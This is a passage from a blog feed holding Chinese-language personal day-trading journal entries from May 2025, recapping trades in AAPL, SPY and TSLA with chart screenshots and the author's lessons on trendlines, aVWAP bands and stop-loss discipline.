https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-24-at-23.09.38.png 2400w" sizes="(min-width: 720px) 720px"></figure><h3 id="aapl-%E5%9B%9E%E8%B8%A9resist-and-going-down">AAPL: &#x56DE;&#x8E29;resist and going down</h3><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.36.17.png" class="kg-image" alt loading="lazy" width="2000" height="1148" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-12.36.17.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-12.36.17.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-23-at-12.36.17.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.36.17.png 2000w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">\</span></figcaption></figure><h3 id="spy-step-back-to-rising-wedge-and-then-break-down">SPY: step back to rising wedge and then break down</h3><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.37.25.png" class="kg-image" alt loading="lazy" width="2000" height="1148" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-12.37.25.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-12.37.25.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-23-at-12.37.25.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.37.25.png 2000w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.45.50.png" class="kg-image" alt loading="lazy" width="1402" height="264" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-23-at-12.45.50.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-23-at-12.45.50.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-23-at-12.45.50.png 1402w" sizes="(min-width: 720px) 720px"></figure><p>&#x56E0;&#x4E3A;&#x76EE;&#x524D;hedge&#x7684;long&#x8FD8;&#x6CA1;&#x6709;&#x51CF;&#x4ED3;&#x5B8C;&#xFF0C;short&#x4E5F;&#x6CA1;&#x5EFA;&#x8D77;&#x6765;</p>]]></content:encoded></item><item><title><![CDATA[May 22th]]></title><description><![CDATA[<p>&#x6211;&#x4F9D;&#x7136;&#x975E;&#x5E38;&#x7684;&#x4E0D;&#x575A;&#x5B9A;&#xFF0C;&#x8FD9;&#x4E24;&#x5929;&#x4E8F;&#x4E86;&#x4E00;&#x5343;&#x591A;&#x4E86;&#xFF0C;&#x5F88;&#x7D2F;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-17.07.13.png" class="kg-image" alt loading="lazy" width="1306" height="764" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-22-at-17.07.13.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-22-at-17.07.13.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-17.07.13.png 1306w" sizes="(min-width: 720px) 720px"></figure><ol><li>&#x5F53;&#x65E5;aVWAP&#x7684;higher 2std&#x7EBF;&#x662F;&#x4E00;&#x4E2A;&#x5F88;&#x5E38;&#x7528;&#x7684;&#x963B;&#x529B;&#x4F4D;</li><li>&#x6628;&#x65E5;aVWAP&#x7684;lower 1std&#x7EBF;&#x662F;&#x4E00;&#x4E2A;&#x5F88;</li></ol>]]></description><link>https://memoryicecube.com/may-22th/</link><guid isPermaLink="false">682fbbac02f5c50001fa5db3</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Fri, 23 May 2025 13:44:48 GMT</pubDate><content:encoded><![CDATA[<p>&#x6211;&#x4F9D;&#x7136;&#x975E;&#x5E38;&#x7684;&#x4E0D;&#x575A;&#x5B9A;&#xFF0C;&#x8FD9;&#x4E24;&#x5929;&#x4E8F;&#x4E86;&#x4E00;&#x5343;&#x591A;&#x4E86;&#xFF0C;&#x5F88;&#x7D2F;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-17.07.13.png" class="kg-image" alt loading="lazy" width="1306" height="764" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-22-at-17.07.13.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-22-at-17.07.13.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-17.07.13.png 1306w" sizes="(min-width: 720px) 720px"></figure><ol><li>&#x5F53;&#x65E5;aVWAP&#x7684;higher 2std&#x7EBF;&#x662F;&#x4E00;&#x4E2A;&#x5F88;&#x5E38;&#x7528;&#x7684;&#x963B;&#x529B;&#x4F4D;</li><li>&#x6628;&#x65E5;aVWAP&#x7684;lower 1std&#x7EBF;&#x662F;&#x4E00;&#x4E2A;&#x5F88;&#x5E38;&#x7528;&#x7684;&#x652F;&#x6491;&#x4F4D;</li><li>&#x5F53;&#x65E5;&#x7B2C;18&#x6839;&#xFF0C;40&#x6839;&#x901A;&#x5E38;&#x610F;&#x5473;&#x7740;&#x53CD;&#x8F6C;&#xFF08;not always true&#xFF09;</li><li>1min&#x56FE;&#x4E0D;&#x80FD;&#x4F5C;&#x4E3A;&#x4E00;&#x4E2A;&#x5F88;&#x597D;&#x7684;&#x770B;&#x8D8B;&#x52BF;&#x7EBF;&#x56FE;&#xFF0C;&#x5E94;&#x8BE5;&#x770B;5min/10min</li></ol><p>&#x5982;&#x4E0A;&#x56FE;&#x53EF;&#x89C1;&#xFF0C;&#x5E76;&#x4E14;&#x6211;&#x8BB0;&#x5F97;&#x6628;&#x5929;&#x4E5F;&#x662F;swing&#x4E00;&#x822C;&#x90FD;&#x662F;&#x5728;aVWAP&#x7684;higher 2std&#x7EBF;&#x548C;aVWAP&#x7684;lower 1std&#x7EBF;&#x4E2D;&#x95F4;&#x5B8C;&#x6210;&#x7684;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-17.17.38.png" class="kg-image" alt loading="lazy" width="1290" height="1170" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-22-at-17.17.38.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-22-at-17.17.38.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-17.17.38.png 1290w" sizes="(min-width: 720px) 720px"></figure><p>&#x6BD4;&#x5982;&#x8BF4;&#x8FD9;&#x5F20;&#x56FE;&#xFF0C;&#x8FD9;&#x91CC;&#x770B;&#x4E0A;&#x53BB;&#x6709;&#x4E00;&#x4E2A;&#x80CC;&#x79BB;&#xFF0C;&#x4F46;&#x662F;&#x540E;&#x7EED;&#x4F9D;&#x65E7;&#x662F;&#x4E00;&#x4E2A;bull&#xFF0C;&#x770B;&#x4E94;&#x5206;&#x949F;&#x7684;&#x540C;&#x4E00;&#x4E2A;&#x4F4D;&#x7F6E;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-17.30.06.png" class="kg-image" alt loading="lazy" width="834" height="1450" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-22-at-17.30.06.png 600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-17.30.06.png 834w" sizes="(min-width: 720px) 720px"></figure><p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x8FD9;&#x91CC;&#x6839;&#x672C;&#x6CA1;&#x6709;&#x80CC;&#x79BB;&#xFF0C;&#x4E5F;&#x4E0D;&#x5B58;&#x5728;&#x6240;&#x8C13;&#x7684;bear</p><ol start="5"><li>&#x4E0D;&#x8981;&#x9891;&#x7E41;&#x64CD;&#x4F5C;</li></ol><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-17.33.11.png" class="kg-image" alt loading="lazy" width="1304" height="836" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-22-at-17.33.11.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-22-at-17.33.11.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-17.33.11.png 1304w" sizes="(min-width: 720px) 720px"></figure><p>&#x6BD4;&#x5982;&#x8FD9;&#x91CC;&#x54EA;&#x6015;&#x518D;&#x6B63;&#x786E;&#x4E5F;&#x662F;&#x51E0;&#x5757;&#x51E0;&#x5757;&#x7684;&#x8D5A;&#xFF0C;&#x800C;&#x4E14;&#x4E00;&#x4E2A;&#x4E0D;&#x53CA;&#x65F6;&#x6B62;&#x76C8;/&#x635F; &#x5C31;&#x4F1A;&#x6269;&#x5927;&#x4E8F;&#x635F;&#x6216;&#x8005;&#x76F4;&#x63A5;&#x8F6C;&#x76C8;&#x4E3A;&#x4E8F;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-18.44.07.png" class="kg-image" alt loading="lazy" width="1302" height="822" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-22-at-18.44.07.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-22-at-18.44.07.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-18.44.07.png 1302w" sizes="(min-width: 720px) 720px"></figure><p>&#x62C9;&#x5B50;&#x8FD9;&#x91CC;&#x4E5F;&#x662F;&#x770B;&#x5230;wedge&#x7A81;&#x7834;&#x8FDB;&#x53BB;&#x4E86;&#xFF0C;&#x6CA1;&#x8FC7;&#x591A;&#x4E45;&#x5C31;&#x8981;&#x8D70;&#xFF0C;&#x8FD9;&#x5176;&#x5B9E;&#x6CA1;&#x6709;&#x610F;&#x4E49;&#xFF0C;&#x5E94;&#x8BE5;&#x627E;&#x5927;&#x8D8B;&#x52BF;&#x3002;&#x4E0D;&#x7136;&#x4E00;&#x4F1A;&#x513F;&#x5C31;&#x88AB;&#x5413;&#x8DD1;&#x4E86;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-18.48.41.png" class="kg-image" alt loading="lazy" width="2000" height="990" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-22-at-18.48.41.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-22-at-18.48.41.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-22-at-18.48.41.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-22-at-18.48.41.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#x770B;&#x8FD9;&#x91CC;&#xFF0C;15&#x5206;&#x949F;&#x56FE;&#x5F88;&#x660E;&#x786E;&#xFF0C;&#x8FD9;&#x6574;&#x4E00;&#x5929;&#x90FD;&#x662F;&#x4E00;&#x4E2A;&#x4E0A;&#x6DA8;&#x8D8B;&#x52BF;&#x3002;&#x7279;&#x522B;&#x662F;&#x5341;&#x4E00;&#x70B9;&#x7684;&#x65F6;&#x5019;&#x5DF2;&#x7ECF;&#x7AD9;&#x4E0A;&#x4E86;34/50&#x548C;5/12&#x7684;mtf&#x4E91;&#xFF0C;20 ema&#x5C0F;&#x65F6;&#x7EBF;&#x5728;&#x7FA1;&#x6155;&#x538B;&#x7740;&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x5F88;bullish&#x7684;&#x8D70;&#x6CD5;&#xFF0C;&#x901A;&#x8FC7;&#x524D;&#x9762;&#x4E24;&#x4E2A;&#x70B9;&#x5C31;&#x53EF;&#x4EE5;&#x786E;&#x8BA4;&#x4ECA;&#x5929;&#x7684;support trendline&#xFF0C;&#x4E4B;&#x540E;&#x8981;&#x505A;&#x7684;&#x5C31;&#x662F;&#x8DCC;&#x7834;&#x5C31;&#x8D70;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-22-at-18.54.46.png" class="kg-image" alt loading="lazy" width="2000" height="1052" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-22-at-18.54.46.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-22-at-18.54.46.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-22-at-18.54.46.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-22-at-18.54.46.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>SPY&#x7684;&#x4E94;&#x5206;&#x949F;&#x7EBF;&#x4E5F;&#x662F;&#xFF0C;&#x4E00;&#x4E2A;trendline&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x9AD8;&#x70B9;&#x5165;&#x573A;&#x5E95;&#x7EBF;&#x8D70;&#x5C31;&#x53EF;&#x4EE5;&#x4E86;</p><p></p><p></p><hr><h3 id="lesson-learned">Lesson Learned</h3><ol><li>&#x5F53;&#x65E5;aVWAP&#x7684;higher 2std&#x7EBF;&#x662F;&#x4E00;&#x4E2A;&#x5F88;&#x5E38;&#x7528;&#x7684;&#x963B;&#x529B;&#x4F4D;</li><li>&#x6628;&#x65E5;aVWAP&#x7684;lower 1std&#x7EBF;&#x662F;&#x4E00;&#x4E2A;&#x5F88;&#x5E38;&#x7528;&#x7684;&#x652F;&#x6491;&#x4F4D;</li><li>&#x5F53;&#x65E5;&#x7B2C;18&#x6839;&#xFF0C;40&#x6839;&#x901A;&#x5E38;&#x610F;&#x5473;&#x7740;&#x53CD;&#x8F6C;&#xFF08;not always true&#xFF09;</li><li>1min&#x56FE;&#x4E0D;&#x80FD;&#x4F5C;&#x4E3A;&#x4E00;&#x4E2A;&#x5F88;&#x597D;&#x7684;&#x770B;&#x8D8B;&#x52BF;&#x7EBF;&#x56FE;&#xFF0C;&#x5E94;&#x8BE5;&#x770B;5min/10min</li><li>&#x4E0D;&#x8981;&#x9891;&#x7E41;&#x64CD;&#x4F5C;</li></ol>]]></content:encoded></item><item><title><![CDATA[May 20 情人节股市recap特典]]></title><description><![CDATA[<h2 id="tsla">TSLA</h2><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-14.18.10.png" class="kg-image" alt loading="lazy" width="2000" height="1111" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-14.18.10.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-14.18.10.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-20-at-14.18.10.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-20-at-14.18.10.png 2400w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-14.29.53.png" class="kg-image" alt loading="lazy" width="1286" height="1404" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-14.29.53.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-14.29.53.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-14.29.53.png 1286w" sizes="(min-width: 720px) 720px"></figure><p>&#x6765;&#x770B;&#x770B;&#x4ECA;&#x5929;&#x62C9;&#x5B50;&#x80A1;&#x7968;&#x590D;&#x76D8;&#x3002;&#x5F00;&#x76D8;&#x663E;&#x793A;&#x6765;&#x4E86;&#x4E00;&#x6CE2;&#x62C9;&#x5347;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6628;&#x5929;&#x76D8;&#x540E;&#x4EE5;&#x53CA;&#x4ECA;&#x65E5;&#x76D8;&#x524D;&#x90FD;&#x662F;&#x4E00;&#x4E2A;&#x7A33;&#x5B9A;&#x4E0A;&#x6DA8;&#x7684;&#x8D8B;&#x52BF;&#x3002;</p>]]></description><link>https://memoryicecube.com/may-20-qing-ren-jie-gu-shi-recapte-dian/</link><guid isPermaLink="false">682cf1b602f5c50001fa5d55</guid><category><![CDATA[Stock]]></category><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Tue, 20 May 2025 22:32:25 GMT</pubDate><content:encoded><![CDATA[<h2 id="tsla">TSLA</h2><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-14.18.10.png" class="kg-image" alt loading="lazy" width="2000" height="1111" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-14.18.10.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-14.18.10.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-20-at-14.18.10.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-20-at-14.18.10.png 2400w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-14.29.53.png" class="kg-image" alt loading="lazy" width="1286" height="1404" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-14.29.53.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-14.29.53.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-14.29.53.png 1286w" sizes="(min-width: 720px) 720px"></figure><p>&#x6765;&#x770B;&#x770B;&#x4ECA;&#x5929;&#x62C9;&#x5B50;&#x80A1;&#x7968;&#x590D;&#x76D8;&#x3002;&#x5F00;&#x76D8;&#x663E;&#x793A;&#x6765;&#x4E86;&#x4E00;&#x6CE2;&#x62C9;&#x5347;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6628;&#x5929;&#x76D8;&#x540E;&#x4EE5;&#x53CA;&#x4ECA;&#x65E5;&#x76D8;&#x524D;&#x90FD;&#x662F;&#x4E00;&#x4E2A;&#x7A33;&#x5B9A;&#x4E0A;&#x6DA8;&#x7684;&#x8D8B;&#x52BF;&#x3002;&#x7070;&#x8272;&#x7684;&#x7EBF;&#x662F;&#x524D;&#x5929;&#x9AD8;&#x70B9;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x4E94;&#x5206;&#x949F;&#x56FE;&#x5176;&#x5B9E;&#x662F;&#x6CA1;&#x7AD9;&#x7A33;&#x5E76;&#x4E14;&#x5728;&#x8FD9;&#x91CC;&#x53CD;&#x5F39;&#x7684;&#x3002;&#x8FD9;&#x91CC;&#x505A;&#x7684;&#x6BD4;&#x8F83;&#x597D;&#x7684;&#x662F;&#x53D1;&#x73B0;&#x62C9;&#x5B50;&#x62C9;&#x8FD9;&#x4E48;&#x9AD8;&#x4E4B;&#x540E;&#x6CA1;&#x6709;&#x51B2;&#x5165;&#x573A;&#xFF0C;&#x663E;&#x7136;&#x6B64;&#x65F6;&#x79BB;&#x4E91;&#x592A;&#x8FDC;&#x8FD8;&#x8FDB;&#x53BB;&#x662F;&#x4E0D;&#x5408;&#x7406;&#x7684;&#x3002;&#x9A6C;&#x4E0A;&#x5C31;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6709;&#x4E00;&#x6CE2;&#x4E0B;&#x8DCC;&#x56DE;&#x5230;mtf&#x4E91;&#x7684;&#x4E0B;&#x6CBF; &#x7136;&#x540E;&#x5728;mtf&#x4E91;&#x7684;&#x4E0A;&#x6CBF;&#x9707;&#x8361;&#xFF0C;&#x8FD9;&#x91CC;&#x6CA1;&#x6709;&#x660E;&#x663E;&#x8D8B;&#x52BF;&#x4E5F;&#x4E0D;&#x5E94;&#x8BE5;&#x5165;&#x573A;&#xFF01;</p><ol><li>&#x6CA1;&#x6709;&#x660E;&#x663E;&#x8D8B;&#x52BF;&#x4E0D;&#x5E94;&#x8BE5;&#x5165;&#x573A;</li><li>&#x79BB;mtf&#x4E91;&#x4E0D;&#x9002;&#x5408;&#x5165;&#x573A;</li></ol><p>10-11:40&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x8FD9;&#x91CC;&#x6709;&#x4E00;&#x4E2A;ascending triangle&#x3002;&#x5E76;&#x4E14;&#x7A81;&#x7834;&#x4E86;&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;bullish sign&#xFF0C;&#x53EF;&#x4EE5;&#x5165;&#x573A;&#xFF0C;&#x4F46;&#x662F;&#x6211;&#x5374;&#x7B49;&#x5230;&#x4E86;pml&#x7A81;&#x7834;&#x624D;&#x5165;&#x573A;&#xFF0C;&#x8FD9;&#x91CC;&#x5176;&#x5B9E;&#x6709;&#x70B9;&#x665A;&#x4E86;&#xFF0C;&#x84DD;&#x8272;&#x7EBF;&#x662F;&#x957F;&#x7EBF;resistance&#xFF0C;&#x6240;&#x4EE5;&#x8FD9;&#x91CC;&#x6709;&#x4E00;&#x4E2A;&#x5C0F;&#x53CD;&#x5F39;&#xFF0C;&#x6CA1;&#x62FF;&#x4F4F;&#x88AB;&#x9707;&#x4E86;&#x51FA;&#x53BB;&#x3002;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x88AB;&#x4E0A;&#x5347;&#x4E09;&#x89D2;lower trendline support&#x4F4F;&#x4E86;&#xFF0C;&#x6240;&#x4EE5;&#x5176;&#x5B9E;&#x4E0D;&#x5E94;&#x8BE5;&#x8D70;&#xFF0C;&#x8FD9;&#x91CC;&#x7AD9;&#x7A33;&#x751A;&#x81F3;&#x5E94;&#x8BE5;&#x52A0;&#x4ED3;&#x3002;&#x8FD9;&#x91CC;&#x53EF;&#x4EE5;&#x770B;&#x51FA;trendline slope &#x53D8;&#x9661;&#x3002;</p><ol start="3"><li>&#x8981;&#x6709;&#x4FE1;&#x4EF0;&#xFF01;&#x6211;&#x592A;&#x5BB9;&#x6613;&#x88AB;&#x9A97;&#x8D70;&#x4E86;&#x2639;&#xFE0F;</li></ol><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-14.41.11.png" class="kg-image" alt loading="lazy" width="1604" height="1486" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-14.41.11.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-14.41.11.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-20-at-14.41.11.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-14.41.11.png 1604w" sizes="(min-width: 720px) 720px"></figure><p>13:00pm&#x5DE6;&#x53F3;&#x84DD;&#x8272;&#x7BAD;&#x5934;&#x5904;&#x6709;&#x4E00;&#x4E2A;&#x80CC;&#x79BB;&#xFF0C;&#x8FD9;&#x91CC;&#x53EF;&#x4EE5;&#x6B62;&#x76C8;&#x4E86;&#x3002;&#x7136;&#x540E;&#x63A5;&#x4E0B;&#x6765;&#x4E0D;&#x5E94;&#x8BE5;&#x505A;&#x4EFB;&#x4F55;&#x52A8;&#x4F5C;&#xFF0C;&#x8FD9;&#x91CC;&#x54EA;&#x6015;&#x8981;&#x51FA;&#x573A;&#x4E5F;&#x5E94;&#x8BE5;&#x7B49;&#x84DD;&#x7EBF;&#x7AD9;&#x7A33;&#x56DE;&#x8E29;&#x624D;&#x5E94;&#x8BE5;put&#xFF0C;&#x56E0;&#x4E3A;&#x6CA1;&#x7AD9;&#x7A33;&#x6240;&#x4EE5;&#x8FD9;&#x91CC;&#x4E5F;&#x4E0D;&#x5E94;&#x8BE5;&#x64CD;&#x4F5C;&#xFF0C;&#x53CD;&#x800C;&#x5728;&#x63A5;&#x8FD1;&#x4E24;&#x70B9;&#x53EF;&#x4EE5;call&#x4E00;&#x4E0B;&#x5E76;&#x5728;&#x7070;&#x8272;&#x7EBF;&#x5DE6;&#x53F3;&#x6B62;&#x76C8;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-14.57.03.png" class="kg-image" alt loading="lazy" width="2000" height="1012" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-14.57.03.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-14.57.03.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-20-at-14.57.03.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-20-at-14.57.03.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#x8FD9;&#x91CC;&#x7684;&#x4E0B;&#x964D;&#x8D8B;&#x52BF;&#x592A;&#x6F02;&#x4EAE;&#x4E86;&#xFF0C;&#x53EF;&#x60DC;&#x6211;&#x7761;&#x7740;&#x4E86;damn&#x3002;&#x5982;&#x679C;&#x8981;&#x505A;&#x7684;&#x8BDD;&#xFF0C;&#x5E94;&#x8BE5;&#x5728;&#x7070;&#x8272;&#x7EBF;&#x90E8;&#x5206;&#x5165;&#x573A;&#xFF0C;&#x7136;&#x540E;&#x5728;&#x84DD;&#x8272;&#x7EBF;&#x90A3;&#x91CC;&#x4E5F;&#x662F;&#x6CA1;&#x8E29;&#x7A33;&#xFF0C;&#x5E76;&#x4E14;&#x8DCC;&#x5230;&#x4E91;&#xFF0C;&#x5728;&#x63A5;&#x8FD1;&#x4E91;&#x4E0B;&#x6CBF; &#x53CD;&#x5F39;&#x5E76;&#x4E14;&#x6CA1;&#x8E29;&#x7A33;&#x7684;&#x65F6;&#x5019;&#x53EF;&#x4EE5;&#x52A0;&#x4ED3;&#xFF0C;&#x7136;&#x540E;&#x5728;&#x8FDB;&#x5165;50/34mtf&#x4E91;&#x65F6;&#x6B62;&#x76C8;&#x3002;</p><h3 id="spy">SPY</h3><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-15.28.45.png" class="kg-image" alt loading="lazy" width="2000" height="1038" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-15.28.45.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-15.28.45.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-20-at-15.28.45.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-20-at-15.28.45.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#x90A3;&#x4E24;&#x4E2A;&#x9ED1;&#x7BAD;&#x5934;&#x5C31;&#x662F;&#x6211;&#x4E70;call&#x5E76;&#x4E14;&#x6B62;&#x635F;&#x7684;&#x5730;&#x65B9;&#xFF0C;&#x4E0D;&#x662F;&#xFF0C;&#x4EBA;&#x8FDE;&#x8D8B;&#x52BF;&#x90FD;&#x6CA1;&#x8D70;&#x51FA;&#x6765;&#xFF0C;&#x4F60;&#x975E;&#x8981;&#x6025;&#x7740;&#x8FDB;&#x53BB;&#x9001;&#x94B1;&#xFF0C;&#x4E00;&#x5F00;&#x59CB;&#x867D;&#x7136;&#x5F88;&#x591A;&#x4E0B;&#x5F71;&#x7EBF;&#xFF0C;&#x4F46;&#x662F;&#x6574;&#x4F53;&#x662F;&#x4E00;&#x4E2A;&#x4E0B;&#x964D;&#x8D8B;&#x52BF;&#x4F60;&#x5C45;&#x7136;&#x6562;&#x51B2;&#x8FDB;&#x53BB;call&#xFF1F;&#xFF1F;&#x4F60;&#x6B62;&#x635F;&#x7684;&#x5730;&#x65B9;&#x6211;&#x4E5F;&#x6709;&#x70B9;&#x9EBB;&#x6728;&#x4E86;&#xFF0C;&#x4E94;&#x5206;&#x949F;&#x56FE;&#x91CC;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#x6765;&#x6839;&#x672C;&#x6CA1;&#x7AD9;&#x7A33;&#xFF0C;&#x4F60;&#x6B62;&#x635F;&#x80FD;&#x4E0D;&#x80FD;&#x81F3;&#x5C11;&#x4E94;&#x5206;&#x949F;&#x5341;&#x5206;&#x949F;&#x7AD9;&#x7A33;&#x4E86;&#x786E;&#x8BA4;&#x8DCC;&#x7834;&#x4E86;&#x518D;&#x6B62;&#x635F;&#xFF1F;&#x4F60;&#x662F;&#x89C9;&#x5F97;&#x624B;&#x7EED;&#x8D39;&#x4E0D;&#x662F;&#x94B1;&#x5417;&#xFF1F;&#x4F60;&#x73B0;&#x5728;&#x751F;&#x6D3B;&#x4E5F;&#x662F;&#x597D;&#x8D77;&#x6765;&#x4E86;&#x54C8;&#x3002;</p><ol start="4"><li>&#x5728;&#x4E94;&#x5206;&#x949F;/&#x5341;&#x5206;&#x949F;&#x56FE;&#x770B;&#x5230;&#x786E;&#x8BA4;&#x8DCC;&#x7834;&#x518D;&#x6B62;&#x635F;</li></ol><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-15.50.06.png" class="kg-image" alt loading="lazy" width="1702" height="1496" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-15.50.06.png 600w, 